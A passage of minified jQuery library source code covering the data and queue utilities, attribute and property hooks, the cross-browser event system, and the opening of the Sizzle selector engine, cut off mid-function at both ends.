                    if (this[0].nodeType === 1) {
                        var e = this[0].attributes,
                            g;
                        for (var h = 0, i = e.length; h < i; h++) g = e[h].name, g.indexOf("data-") === 0 && (g = f.camelCase(g.substring(5)), k(this[0], g, d[g]))
                    }
                }
                return d
            }
            if (typeof a == "object") return this.each(function() {
                f.data(this, a)
            });
            var j = a.split(".");
            j[1] = j[1] ? "." + j[1] : "";
            if (c === b) {
                d = this.triggerHandler("getData" + j[1] + "!", [j[0]]), d === b && this.length && (d = f.data(this[0], a), d = k(this[0], a, d));
                return d === b && j[1] ? this.data(j[0]) : d
            }
            return this.each(function() {
                var b = f(this),
                    d = [j[0], c];
                b.triggerHandler("setData" + j[1] + "!", d), f.data(this, a, c), b.triggerHandler("changeData" + j[1] + "!", d)
            })
        },
        removeData: function(a) {
            return this.each(function() {
                f.removeData(this, a)
            })
        }
    }), f.extend({
        _mark: function(a, c) {
            a && (c = (c || "fx") + "mark", f.data(a, c, (f.data(a, c, b, !0) || 0) + 1, !0))
        },
        _unmark: function(a, c, d) {
            a !== !0 && (d = c, c = a, a = !1);
            if (c) {
                d = d || "fx";
                var e = d + "mark",
                    g = a ? 0 : (f.data(c, e, b, !0) || 1) - 1;
                g ? f.data(c, e, g, !0) : (f.removeData(c, e, !0), m(c, d, "mark"))
            }
        },
        queue: function(a, c, d) {
            if (a) {
                c = (c || "fx") + "queue";
                var e = f.data(a, c, b, !0);
                d && (!e || f.isArray(d) ? e = f.data(a, c, f.makeArray(d), !0) : e.push(d));
                return e || []
            }
        },
        dequeue: function(a, b) {
            b = b || "fx";
            var c = f.queue(a, b),
                d = c.shift(),
                e;
            d === "inprogress" && (d = c.shift()), d && (b === "fx" && c.unshift("inprogress"), d.call(a, function() {
                f.dequeue(a, b)
            })), c.length || (f.removeData(a, b + "queue", !0), m(a, b, "queue"))
        }
    }), f.fn.extend({
        queue: function(a, c) {
            typeof a != "string" && (c = a, a = "fx");
            if (c === b) return f.queue(this[0], a);
            return this.each(function() {
                var b = f.queue(this, a, c);
                a === "fx" && b[0] !== "inprogress" && f.dequeue(this, a)
            })
        },
        dequeue: function(a) {
            return this.each(function() {
                f.dequeue(this, a)
            })
        },
        delay: function(a, b) {
            a = f.fx ? f.fx.speeds[a] || a : a, b = b || "fx";
            return this.queue(b, function() {
                var c = this;
                setTimeout(function() {
                    f.dequeue(c, b)
                }, a)
            })
        },
        clearQueue: function(a) {
            return this.queue(a || "fx", [])
        },
        promise: function(a, c) {
            function m() {
                --h || d.resolveWith(e, [e])
            }
            typeof a != "string" && (c = a, a = b), a = a || "fx";
            var d = f.Deferred(),
                e = this,
                g = e.length,
                h = 1,
                i = a + "defer",
                j = a + "queue",
                k = a + "mark",
                l;
            while (g--) if (l = f.data(e[g], i, b, !0) || (f.data(e[g], j, b, !0) || f.data(e[g], k, b, !0)) && f.data(e[g], i, f._Deferred(), !0)) h++, l.done(m);
            m();
            return d.promise()
        }
    });
    var n = /[\n\t\r]/g,
        o = /\s+/,
        p = /\r/g,
        q = /^(?:button|input)$/i,
        r = /^(?:button|input|object|select|textarea)$/i,
        s = /^a(?:rea)?$/i,
        t = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
        u = /\:/,
        v, w;
    f.fn.extend({
        attr: function(a, b) {
            return f.access(this, a, b, !0, f.attr)
        },
        removeAttr: function(a) {
            return this.each(function() {
                f.removeAttr(this, a)
            })
        },
        prop: function(a, b) {
            return f.access(this, a, b, !0, f.prop)
        },
        removeProp: function(a) {
            a = f.propFix[a] || a;
            return this.each(function() {
                try {
                    this[a] = b, delete this[a]
                } catch (c) {}
            })
        },
        addClass: function(a) {
            if (f.isFunction(a)) return this.each(function(b) {
                var c = f(this);
                c.addClass(a.call(this, b, c.attr("class") || ""))
            });
            if (a && typeof a == "string") {
                var b = (a || "").split(o);
                for (var c = 0, d = this.length; c < d; c++) {
                    var e = this[c];
                    if (e.nodeType === 1) if (!e.className) e.className = a;
                    else {
                        var g = " " + e.className + " ",
                            h = e.className;
                        for (var i = 0, j = b.length; i < j; i++) g.indexOf(" " + b[i] + " ") < 0 && (h += " " + b[i]);
                        e.className = f.trim(h)
                    }
                }
            }
            return this
        },
        removeClass: function(a) {
            if (f.isFunction(a)) return this.each(function(b) {
                var c = f(this);
                c.removeClass(a.call(this, b, c.attr("class")))
            });
            if (a && typeof a == "string" || a === b) {
                var c = (a || "").split(o);
                for (var d = 0, e = this.length; d < e; d++) {
                    var g = this[d];
                    if (g.nodeType === 1 && g.className) if (a) {
                        var h = (" " + g.className + " ").replace(n, " ");
                        for (var i = 0, j = c.length; i < j; i++) h = h.replace(" " + c[i] + " ", " ");
                        g.className = f.trim(h)
                    } else g.className = ""
                }
            }
            return this
        },
        toggleClass: function(a, b) {
            var c = typeof a,
                d = typeof b == "boolean";
            if (f.isFunction(a)) return this.each(function(c) {
                var d = f(this);
                d.toggleClass(a.call(this, c, d.attr("class"), b), b)
            });
            return this.each(function() {
                if (c === "string") {
                    var e, g = 0,
                        h = f(this),
                        i = b,
                        j = a.split(o);
                    while (e = j[g++]) i = d ? i : !h.hasClass(e), h[i ? "addClass" : "removeClass"](e)
                } else if (c === "undefined" || c === "boolean") this.className && f._data(this, "__className__", this.className), this.className = this.className || a === !1 ? "" : f._data(this, "__className__") || ""
            })
        },
        hasClass: function(a) {
            var b = " " + a + " ";
            for (var c = 0, d = this.length; c < d; c++) if ((" " + this[c].className + " ").replace(n, " ").indexOf(b) > -1) return !0;
            return !1
        },
        val: function(a) {
            var c, d, e = this[0];
            if (!arguments.length) {
                if (e) {
                    c = f.valHooks[e.nodeName.toLowerCase()] || f.valHooks[e.type];
                    if (c && "get" in c && (d = c.get(e, "value")) !== b) return d;
                    return (e.value || "").replace(p, "")
                }
                return b
            }
            var g = f.isFunction(a);
            return this.each(function(d) {
                var e = f(this),
                    h;
                if (this.nodeType === 1) {
                    g ? h = a.call(this, d, e.val()) : h = a, h == null ? h = "" : typeof h == "number" ? h += "" : f.isArray(h) && (h = f.map(h, function(a) {
                        return a == null ? "" : a + ""
                    })), c = f.valHooks[this.nodeName.toLowerCase()] || f.valHooks[this.type];
                    if (!c || !("set" in c) || c.set(this, h, "value") === b) this.value = h
                }
            })
        }
    }), f.extend({
        valHooks: {
            option: {
                get: function(a) {
                    var b = a.attributes.value;
                    return !b || b.specified ? a.value : a.text
                }
            },
            select: {
                get: function(a) {
                    var b, c = a.selectedIndex,
                        d = [],
                        e = a.options,
                        g = a.type === "select-one";
                    if (c < 0) return null;
                    for (var h = g ? c : 0, i = g ? c + 1 : e.length; h < i; h++) {
                        var j = e[h];
                        if (j.selected && (f.support.optDisabled ? !j.disabled : j.getAttribute("disabled") === null) && (!j.parentNode.disabled || !f.nodeName(j.parentNode, "optgroup"))) {
                            b = f(j).val();
                            if (g) return b;
                            d.push(b)
                        }
                    }
                    if (g && !d.length && e.length) return f(e[c]).val();
                    return d
                },
                set: function(a, b) {
                    var c = f.makeArray(b);
                    f(a).find("option").each(function() {
                        this.selected = f.inArray(f(this).val(), c) >= 0
                    }), c.length || (a.selectedIndex = -1);
                    return c
                }
            }
        },
        attrFn: {
            val: !0,
            css: !0,
            html: !0,
            text: !0,
            data: !0,
            width: !0,
            height: !0,
            offset: !0
        },
        attrFix: {
            tabindex: "tabIndex"
        },
        attr: function(a, c, d, e) {
            var g = a.nodeType;
            if (!a || g === 3 || g === 8 || g === 2) return b;
            if (e && c in f.attrFn) return f(a)[c](d);
            if (!("getAttribute" in a)) return f.prop(a, c, d);
            var h, i, j = g !== 1 || !f.isXMLDoc(a);
            c = j && f.attrFix[c] || c, i = f.attrHooks[c], i || (!t.test(c) || typeof d != "boolean" && d !== b && d.toLowerCase() !== c.toLowerCase() ? v && (f.nodeName(a, "form") || u.test(c)) && (i = v) : i = w);
            if (d !== b) {
                if (d === null) {
                    f.removeAttr(a, c);
                    return b
                }
                if (i && "set" in i && j && (h = i.set(a, d, c)) !== b) return h;
                a.setAttribute(c, "" + d);
                return d
            }
            if (i && "get" in i && j) return i.get(a, c);
            h = a.getAttribute(c);
            return h === null ? b : h
        },
        removeAttr: function(a, b) {
            var c;
            a.nodeType === 1 && (b = f.attrFix[b] || b, f.support.getSetAttribute ? a.removeAttribute(b) : (f.attr(a, b, ""), a.removeAttributeNode(a.getAttributeNode(b))), t.test(b) && (c = f.propFix[b] || b) in a && (a[c] = !1))
        },
        attrHooks: {
            type: {
                set: function(a, b) {
                    if (q.test(a.nodeName) && a.parentNode) f.error("type property can't be changed");
                    else if (!f.support.radioValue && b === "radio" && f.nodeName(a, "input")) {
                        var c = a.value;
                        a.setAttribute("type", b), c && (a.value = c);
                        return b
                    }
                }
            },
            tabIndex: {
                get: function(a) {
                    var c = a.getAttributeNode("tabIndex");
                    return c && c.specified ? parseInt(c.value, 10) : r.test(a.nodeName) || s.test(a.nodeName) && a.href ? 0 : b
                }
            }
        },
        propFix: {
            tabindex: "tabIndex",
            readonly: "readOnly",
            "for": "htmlFor",
            "class": "className",
            maxlength: "maxLength",
            cellspacing: "cellSpacing",
            cellpadding: "cellPadding",
            rowspan: "rowSpan",
            colspan: "colSpan",
            usemap: "useMap",
            frameborder: "frameBorder",
            contenteditable: "contentEditable"
        },
        prop: function(a, c, d) {
            var e = a.nodeType;
            if (!a || e === 3 || e === 8 || e === 2) return b;
            var g, h, i = e !== 1 || !f.isXMLDoc(a);
            c = i && f.propFix[c] || c, h = f.propHooks[c];
            return d !== b ? h && "set" in h && (g = h.set(a, d, c)) !== b ? g : a[c] = d : h && "get" in h && (g = h.get(a, c)) !== b ? g : a[c]
        },
        propHooks: {}
    }), w = {
        get: function(a, c) {
            return a[f.propFix[c] || c] ? c.toLowerCase() : b
        },
        set: function(a, b, c) {
            var d;
            b === !1 ? f.removeAttr(a, c) : (d = f.propFix[c] || c, d in a && (a[d] = b), a.setAttribute(c, c.toLowerCase()));
            return c
        }
    }, f.attrHooks.value = {
        get: function(a, b) {
            if (v && f.nodeName(a, "button")) return v.get(a, b);
            return a.value
        },
        set: function(a, b, c) {
            if (v && f.nodeName(a, "button")) return v.set(a, b, c);
            a.value = b
        }
    }, f.support.getSetAttribute || (f.attrFix = f.propFix, v = f.attrHooks.name = f.valHooks.button = {
        get: function(a, c) {
            var d;
            d = a.getAttributeNode(c);
            return d && d.nodeValue !== "" ? d.nodeValue : b
        },
        set: function(a, b, c) {
            var d = a.getAttributeNode(c);
            if (d) {
                d.nodeValue = b;
                return b
            }
        }
    }, f.each(["width", "height"], function(a, b) {
        f.attrHooks[b] = f.extend(f.attrHooks[b], {
            set: function(a, c) {
                if (c === "") {
                    a.setAttribute(b, "auto");
                    return c
                }
            }
        })
    })), f.support.hrefNormalized || f.each(["href", "src", "width", "height"], function(a, c) {
        f.attrHooks[c] = f.extend(f.attrHooks[c], {
            get: function(a) {
                var d = a.getAttribute(c, 2);
                return d === null ? b : d
            }
        })
    }), f.support.style || (f.attrHooks.style = {
        get: function(a) {
            return a.style.cssText.toLowerCase() || b
        },
        set: function(a, b) {
            return a.style.cssText = "" + b
        }
    }), f.support.optSelected || (f.propHooks.selected = f.extend(f.propHooks.selected, {
        get: function(a) {
            var b = a.parentNode;
            b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex)
        }
    })), f.support.checkOn || f.each(["radio", "checkbox"], function() {
        f.valHooks[this] = {
            get: function(a) {
                return a.getAttribute("value") === null ? "on" : a.value
            }
        }
    }), f.each(["radio", "checkbox"], function() {
        f.valHooks[this] = f.extend(f.valHooks[this], {
            set: function(a, b) {
                if (f.isArray(b)) return a.checked = f.inArray(f(a).val(), b) >= 0
            }
        })
    });
    var x = Object.prototype.hasOwnProperty,
        y = /\.(.*)$/,
        z = /^(?:textarea|input|select)$/i,
        A = /\./g,
        B = / /g,
        C = /[^\w\s.|`]/g,
        D = function(a) {
            return a.replace(C, "\\$&")
        };
    f.event = {
        add: function(a, c, d, e) {
            if (a.nodeType !== 3 && a.nodeType !== 8) {
                if (d === !1) d = E;
                else if (!d) return;
                var g, h;
                d.handler && (g = d, d = g.handler), d.guid || (d.guid = f.guid++);
                var i = f._data(a);
                if (!i) return;
                var j = i.events,
                    k = i.handle;
                j || (i.events = j = {}), k || (i.handle = k = function(a) {
                    return typeof f != "undefined" && (!a || f.event.triggered !== a.type) ? f.event.handle.apply(k.elem, arguments) : b
                }), k.elem = a, c = c.split(" ");
                var l, m = 0,
                    n;
                while (l = c[m++]) {
                    h = g ? f.extend({}, g) : {
                        handler: d,
                        data: e
                    }, l.indexOf(".") > -1 ? (n = l.split("."), l = n.shift(), h.namespace = n.slice(0).sort().join(".")) : (n = [], h.namespace = ""), h.type = l, h.guid || (h.guid = d.guid);
                    var o = j[l],
                        p = f.event.special[l] || {};
                    if (!o) {
                        o = j[l] = [];
                        if (!p.setup || p.setup.call(a, e, n, k) === !1) a.addEventListener ? a.addEventListener(l, k, !1) : a.attachEvent && a.attachEvent("on" + l, k)
                    }
                    p.add && (p.add.call(a, h), h.handler.guid || (h.handler.guid = d.guid)), o.push(h), f.event.global[l] = !0
                }
                a = null
            }
        },
        global: {},
        remove: function(a, c, d, e) {
            if (a.nodeType !== 3 && a.nodeType !== 8) {
                d === !1 && (d = E);
                var g, h, i, j, k = 0,
                    l, m, n, o, p, q, r, s = f.hasData(a) && f._data(a),
                    t = s && s.events;
                if (!s || !t) return;
                c && c.type && (d = c.handler, c = c.type);
                if (!c || typeof c == "string" && c.charAt(0) === ".") {
                    c = c || "";
                    for (h in t) f.event.remove(a, h + c);
                    return
                }
                c = c.split(" ");
                while (h = c[k++]) {
                    r = h, q = null, l = h.indexOf(".") < 0, m = [], l || (m = h.split("."), h = m.shift(), n = new RegExp("(^|\\.)" + f.map(m.slice(0).sort(), D).join("\\.(?:.*\\.)?") + "(\\.|$)")), p = t[h];
                    if (!p) continue;
                    if (!d) {
                        for (j = 0; j < p.length; j++) {
                            q = p[j];
                            if (l || n.test(q.namespace)) f.event.remove(a, r, q.handler, j), p.splice(j--, 1)
                        }
                        continue
                    }
                    o = f.event.special[h] || {};
                    for (j = e || 0; j < p.length; j++) {
                        q = p[j];
                        if (d.guid === q.guid) {
                            if (l || n.test(q.namespace)) e == null && p.splice(j--, 1), o.remove && o.remove.call(a, q);
                            if (e != null) break
                        }
                    }
                    if (p.length === 0 || e != null && p.length === 1)(!o.teardown || o.teardown.call(a, m) === !1) && f.removeEvent(a, h, s.handle), g = null, delete t[h]
                }
                if (f.isEmptyObject(t)) {
                    var u = s.handle;
                    u && (u.elem = null), delete s.events, delete s.handle, f.isEmptyObject(s) && f.removeData(a, b, !0)
                }
            }
        },
        customEvent: {
            getData: !0,
            setData: !0,
            changeData: !0
        },
        trigger: function(c, d, e, g) {
            var h = c.type || c,
                i = [],
                j;
            h.indexOf("!") >= 0 && (h = h.slice(0, -1), j = !0), h.indexOf(".") >= 0 && (i = h.split("."), h = i.shift(), i.sort());
            if ( !! e && !f.event.customEvent[h] || !! f.event.global[h]) {
                c = typeof c == "object" ? c[f.expando] ? c : new f.Event(h, c) : new f.Event(h), c.type = h, c.exclusive = j, c.namespace = i.join("."), c.namespace_re = new RegExp("(^|\\.)" + i.join("\\.(?:.*\\.)?") + "(\\.|$)");
                if (g || !e) c.preventDefault(), c.stopPropagation();
                if (!e) {
                    f.each(f.cache, function() {
                        var a = f.expando,
                            b = this[a];
                        b && b.events && b.events[h] && f.event.trigger(c, d, b.handle.elem)
                    });
                    return
                }
                if (e.nodeType === 3 || e.nodeType === 8) return;
                c.result = b, c.target = e, d = d ? f.makeArray(d) : [], d.unshift(c);
                var k = e,
                    l = h.indexOf(":") < 0 ? "on" + h : "";
                do {
                    var m = f._data(k, "handle");
                    c.currentTarget = k, m && m.apply(k, d), l && f.acceptData(k) && k[l] && k[l].apply(k, d) === !1 && (c.result = !1, c.preventDefault()), k = k.parentNode || k.ownerDocument || k === c.target.ownerDocument && a
                } while (k && !c.isPropagationStopped());
                if (!c.isDefaultPrevented()) {
                    var n, o = f.event.special[h] || {};
                    if ((!o._default || o._default.call(e.ownerDocument, c) === !1) && (h !== "click" || !f.nodeName(e, "a")) && f.acceptData(e)) {
                        try {
                            l && e[h] && (n = e[l], n && (e[l] = null), f.event.triggered = h, e[h]())
                        } catch (p) {}
                        n && (e[l] = n), f.event.triggered = b
                    }
                }
                return c.result
            }
        },
        handle: function(c) {
            c = f.event.fix(c || a.event);
            var d = ((f._data(this, "events") || {})[c.type] || []).slice(0),
                e = !c.exclusive && !c.namespace,
                g = Array.prototype.slice.call(arguments, 0);
            g[0] = c, c.currentTarget = this;
            for (var h = 0, i = d.length; h < i; h++) {
                var j = d[h];
                if (e || c.namespace_re.test(j.namespace)) {
                    c.handler = j.handler, c.data = j.data, c.handleObj = j;
                    var k = j.handler.apply(this, g);
                    k !== b && (c.result = k, k === !1 && (c.preventDefault(), c.stopPropagation()));
                    if (c.isImmediatePropagationStopped()) break
                }
            }
            return c.result
        },
        props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
        fix: function(a) {
            if (a[f.expando]) return a;
            var d = a;
            a = f.Event(d);
            for (var e = this.props.length, g; e;) g = this.props[--e], a[g] = d[g];
            a.target || (a.target = a.srcElement || c), a.target.nodeType === 3 && (a.target = a.target.parentNode), !a.relatedTarget && a.fromElement && (a.relatedTarget = a.fromElement === a.target ? a.toElement : a.fromElement);
            if (a.pageX == null && a.clientX != null) {
                var h = a.target.ownerDocument || c,
                    i = h.documentElement,
                    j = h.body;
                a.pageX = a.clientX + (i && i.scrollLeft || j && j.scrollLeft || 0) - (i && i.clientLeft || j && j.clientLeft || 0), a.pageY = a.clientY + (i && i.scrollTop || j && j.scrollTop || 0) - (i && i.clientTop || j && j.clientTop || 0)
            }
            a.which == null && (a.charCode != null || a.keyCode != null) && (a.which = a.charCode != null ? a.charCode : a.keyCode), !a.metaKey && a.ctrlKey && (a.metaKey = a.ctrlKey), !a.which && a.button !== b && (a.which = a.button & 1 ? 1 : a.button & 2 ? 3 : a.button & 4 ? 2 : 0);
            return a
        },
        guid: 1e8,
        proxy: f.proxy,
        special: {
            ready: {
                setup: f.bindReady,
                teardown: f.noop
            },
            live: {
                add: function(a) {
                    f.event.add(this, O(a.origType, a.selector), f.extend({}, a, {
                        handler: N,
                        guid: a.handler.guid
                    }))
                },
                remove: function(a) {
                    f.event.remove(this, O(a.origType, a.selector), a)
                }
            },
            beforeunload: {
                setup: function(a, b, c) {
                    f.isWindow(this) && (this.onbeforeunload = c)
                },
                teardown: function(a, b) {
                    this.onbeforeunload === b && (this.onbeforeunload = null)
                }
            }
        }
    }, f.removeEvent = c.removeEventListener ?
    function(a, b, c) {
        a.removeEventListener && a.removeEventListener(b, c, !1)
    } : function(a, b, c) {
        a.detachEvent && a.detachEvent("on" + b, c)
    }, f.Event = function(a, b) {
        if (!this.preventDefault) return new f.Event(a, b);
        a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || a.returnValue === !1 || a.getPreventDefault && a.getPreventDefault() ? F : E) : this.type = a, b && f.extend(this, b), this.timeStamp = f.now(), this[f.expando] = !0
    }, f.Event.prototype = {
        preventDefault: function() {
            this.isDefaultPrevented = F;
            var a = this.originalEvent;
            !a || (a.preventDefault ? a.preventDefault() : a.returnValue = !1)
        },
        stopPropagation: function() {
            this.isPropagationStopped = F;
            var a = this.originalEvent;
            !a || (a.stopPropagation && a.stopPropagation(), a.cancelBubble = !0)
        },
        stopImmediatePropagation: function() {
            this.isImmediatePropagationStopped = F, this.stopPropagation()
        },
        isDefaultPrevented: E,
        isPropagationStopped: E,
        isImmediatePropagationStopped: E
    };
    var G = function(a) {
            var b = a.relatedTarget;
            a.type = a.data;
            try {
                if (b && b !== c && !b.parentNode) return;
                while (b && b !== this) b = b.parentNode;
                b !== this && f.event.handle.apply(this, arguments)
            } catch (d) {}
        },
        H = function(a) {
            a.type = a.data, f.event.handle.apply(this, arguments)
        };
    f.each({
        mouseenter: "mouseover",
        mouseleave: "mouseout"
    }, function(a, b) {
        f.event.special[a] = {
            setup: function(c) {
                f.event.add(this, b, c && c.selector ? H : G, a)
            },
            teardown: function(a) {
                f.event.remove(this, b, a && a.selector ? H : G)
            }
        }
    }), f.support.submitBubbles || (f.event.special.submit = {
        setup: function(a, b) {
            if (!f.nodeName(this, "form")) f.event.add(this, "click.specialSubmit", function(a) {
                var b = a.target,
                    c = b.type;
                (c === "submit" || c === "image") && f(b).closest("form").length && L("submit", this, arguments)
            }), f.event.add(this, "keypress.specialSubmit", function(a) {
                var b = a.target,
                    c = b.type;
                (c === "text" || c === "password") && f(b).closest("form").length && a.keyCode === 13 && L("submit", this, arguments)
            });
            else return !1
        },
        teardown: function(a) {
            f.event.remove(this, ".specialSubmit")
        }
    });
    if (!f.support.changeBubbles) {
        var I, J = function(a) {
                var b = a.type,
                    c = a.value;
                b === "radio" || b === "checkbox" ? c = a.checked : b === "select-multiple" ? c = a.selectedIndex > -1 ? f.map(a.options, function(a) {
                    return a.selected
                }).join("-") : "" : f.nodeName(a, "select") && (c = a.selectedIndex);
                return c
            },
            K = function(c) {
                var d = c.target,
                    e, g;
                if ( !! z.test(d.nodeName) && !d.readOnly) {
                    e = f._data(d, "_change_data"), g = J(d), (c.type !== "focusout" || d.type !== "radio") && f._data(d, "_change_data", g);
                    if (e === b || g === e) return;
                    if (e != null || g) c.type = "change", c.liveFired = b, f.event.trigger(c, arguments[1], d)
                }
            };
        f.event.special.change = {
            filters: {
                focusout: K,
                beforedeactivate: K,
                click: function(a) {
                    var b = a.target,
                        c = f.nodeName(b, "input") ? b.type : "";
                    (c === "radio" || c === "checkbox" || f.nodeName(b, "select")) && K.call(this, a)
                },
                keydown: function(a) {
                    var b = a.target,
                        c = f.nodeName(b, "input") ? b.type : "";
                    (a.keyCode === 13 && !f.nodeName(b, "textarea") || a.keyCode === 32 && (c === "checkbox" || c === "radio") || c === "select-multiple") && K.call(this, a)
                },
                beforeactivate: function(a) {
                    var b = a.target;
                    f._data(b, "_change_data", J(b))
                }
            },
            setup: function(a, b) {
                if (this.type === "file") return !1;
                for (var c in I) f.event.add(this, c + ".specialChange", I[c]);
                return z.test(this.nodeName)
            },
            teardown: function(a) {
                f.event.remove(this, ".specialChange");
                return z.test(this.nodeName)
            }
        }, I = f.event.special.change.filters, I.focus = I.beforeactivate
    }
    f.support.focusinBubbles || f.each({
        focus: "focusin",
        blur: "focusout"
    }, function(a, b) {
        function e(a) {
            var c = f.event.fix(a);
            c.type = b, c.originalEvent = {}, f.event.trigger(c, null, c.target), c.isDefaultPrevented() && a.preventDefault()
        }
        var d = 0;
        f.event.special[b] = {
            setup: function() {
                d++ === 0 && c.addEventListener(a, e, !0)
            },
            teardown: function() {
                --d === 0 && c.removeEventListener(a, e, !0)
            }
        }
    }), f.each(["bind", "one"], function(a, c) {
        f.fn[c] = function(a, d, e) {
            var g;
            if (typeof a == "object") {
                for (var h in a) this[c](h, d, a[h], e);
                return this
            }
            if (arguments.length === 2 || d === !1) e = d, d = b;
            c === "one" ? (g = function(a) {
                f(this).unbind(a, g);
                return e.apply(this, arguments)
            }, g.guid = e.guid || f.guid++) : g = e;
            if (a === "unload" && c !== "one") this.one(a, d, e);
            else for (var i = 0, j = this.length; i < j; i++) f.event.add(this[i], a, g, d);
            return this
        }
    }), f.fn.extend({
        unbind: function(a, b) {
            if (typeof a == "object" && !a.preventDefault) for (var c in a) this.unbind(c, a[c]);
            else for (var d = 0, e = this.length; d < e; d++) f.event.remove(this[d], a, b);
            return this
        },
        delegate: function(a, b, c, d) {
            return this.live(b, c, d, a)
        },
        undelegate: function(a, b, c) {
            return arguments.length === 0 ? this.unbind("live") : this.die(b, null, c, a)
        },
        trigger: function(a, b) {
            return this.each(function() {
                f.event.trigger(a, b, this)
            })
        },
        triggerHandler: function(a, b) {
            if (this[0]) return f.event.trigger(a, b, this[0], !0)
        },
        toggle: function(a) {
            var b = arguments,
                c = a.guid || f.guid++,
                d = 0,
                e = function(c) {
                    var e = (f.data(this, "lastToggle" + a.guid) || 0) % d;
                    f.data(this, "lastToggle" + a.guid, e + 1), c.preventDefault();
                    return b[e].apply(this, arguments) || !1
                };
            e.guid = c;
            while (d < b.length) b[d++].guid = c;
            return this.click(e)
        },
        hover: function(a, b) {
            return this.mouseenter(a).mouseleave(b || a)
        }
    });
    var M = {
        focus: "focusin",
        blur: "focusout",
        mouseenter: "mouseover",
        mouseleave: "mouseout"
    };
    f.each(["live", "die"], function(a, c) {
        f.fn[c] = function(a, d, e, g) {
            var h, i = 0,
                j, k, l, m = g || this.selector,
                n = g ? this : f(this.context);
            if (typeof a == "object" && !a.preventDefault) {
                for (var o in a) n[c](o, d, a[o], m);
                return this
            }
            if (c === "die" && !a && g && g.charAt(0) === ".") {
                n.unbind(g);
                return this
            }
            if (d === !1 || f.isFunction(d)) e = d || E, d = b;
            a = (a || "").split(" ");
            while ((h = a[i++]) != null) {
                j = y.exec(h), k = "", j && (k = j[0], h = h.replace(y, ""));
                if (h === "hover") {
                    a.push("mouseenter" + k, "mouseleave" + k);
                    continue
                }
                l = h, M[h] ? (a.push(M[h] + k), h = h + k) : h = (M[h] || h) + k;
                if (c === "live") for (var p = 0, q = n.length; p < q; p++) f.event.add(n[p], "live." + O(h, m), {
                    data: d,
                    selector: m,
                    handler: e,
                    origType: h,
                    origHandler: e,
                    preType: l
                });
                else n.unbind("live." + O(h, m), e)
            }
            return this
        }
    }), f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "), function(a, b) {
        f.fn[b] = function(a, c) {
            c == null && (c = a, a = null);
            return arguments.length > 0 ? this.bind(b, a, c) : this.trigger(b)
        }, f.attrFn && (f.attrFn[b] = !0)
    }), function() {
        function u(a, b, c, d, e, f) {
            for (var g = 0, h = d.length; g < h; g++) {
                var i = d[g];
                if (i) {
                    var j = !1;
                    i = i[a];
                    while (i) {
                        if (i.sizcache === c) {
                            j = d[i.sizset];
                            break
                        }
                        if (i.nodeType === 1) {
                            f || (i.sizcache = c, i.sizset = g);
                            if (typeof b != "string") {
                                if (i === b) {
                                    j = !0;
                                    break
                                }
                            } else if (k.filter(b, [i]).length > 0) {
                                j = i;
                                break
                            }
                        }
                        i = i[a]
                    }
                    d[g] = j
                }
            }
        }
        function t(a, b, c, d, e, f) {
            for (var g = 0, h = d.length; g < h; g++) {
                var i = d[g];
                if (i) {
                    var j = !1;
                    i = i[a];
                    while (i) {
                        if (i.sizcache === c) {
                            j = d[i.sizset];
                            break
                        }
                        i.nodeType === 1 && !f && (i.sizcache = c, i.sizset = g);
                        if (i.nodeName.toLowerCase() === b) {
                            j = i;
                            break
                        }
                        i = i[a]
                    }
                    d[g] = j
                }
            }
        }
        var a = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
            d = 0,
            e = Object.prototype.toString,
            g = !1,
            h = !0,
            i = /\\/g,
            j = /\W/;
        [0, 0].sort(function() {
            h = !1;
            return 0
        });
        var k = function(b, d, f, g) {
                f = f || [], d = d || c;
                var h = d;
                if (d.nodeType !== 1 && d.nodeType !== 9) return [];
                if (!b || typeof b != "string") return f;
                var i, j, n, o, q, r, s, t, u = !0,
                    w = k.isXML(d),
                    x = [],
                    y = b;
                do {
                    a.exec(""), i = a.exec(y);
                    if (i) {
                        y = i[3], x.push(i[1]);
                        if (i[2]) {
                            o = i[3];
                            break
                        }
                    }
                } while (i);
                if (x.length > 1 && m.exec(b)) if (x.length === 2 && l.relative[x[0]]) j = v(x[0] + x[1], d);
                else {
                    j = l.relative[x[0]] ? [d] : k(x.shift(), d);
                    while (x.length) b = x.shift(), l.relative[b] && (b += x.shift()), j = v(b, j)
                } else {
                    !g && x.length > 1 && d.nodeType === 9 && !w && l.match.ID.test(x[0]) && !l.match.ID.test(x[x.length - 1]) && (q = k.find(x.shift(), d, w), d = q.expr ? k.filter(q.expr, q.set)[0] : q.set[0]);
                    if (d) {
                        q = g ? {
                            expr: x.pop(),
                            set: p(g)
                        } : k.find(x.pop(), x.length === 1 && (x[0] === "~" || x[0] === "+") && d.parentNode ? d.parentNode : d, w), j = q.expr ? k.filter(q.expr, q.set) : q.set, x.length > 0 ? n = p(j) : u = !1;
                        while (x.length) r = x.pop(), s = r, l.relative[r] ? s = x.pop() : r = "", s == null && (s = d), l.relative[r](n, s, w)
                    } else n = x = []
                }
                n || (n = j), n || k.error(r || b);
                if (e.call(n) === "[object Array]") if (!u) f.push.apply(f, n);
                else if (d && d.nodeType === 1) for (t = 0; n[t] != null; t++) n[t] && (n[t] === !0 || n[t].nodeType === 1 && k.contains(d, n[t])) && f.push(j[t]);
                else for (t = 0; n[t] != null; t++) n[t] && n[t].nodeType === 1 && f.push(j[t]);
                else p(n, f);
                o && (k(o, h, f, g), k.uniqueSort(f));
                return f
            };
        k.uniqueSort = function(a) {
            if (r) {
                g = h, a.sort(r);
                if (g) for (var b = 1; b < a.length; b++) a[b] === a[b - 1] && a.splice(b--, 1)
            }
            return a
        }, k.matches = function(a, b) {
            return k(a, null, null, b)
        }, k.matchesSelector = function(a, b) {
            return k(b, null, null, [a]).length > 0
        }, k.find = function(a, b, c) {
            var d;
            if (!a) return [];
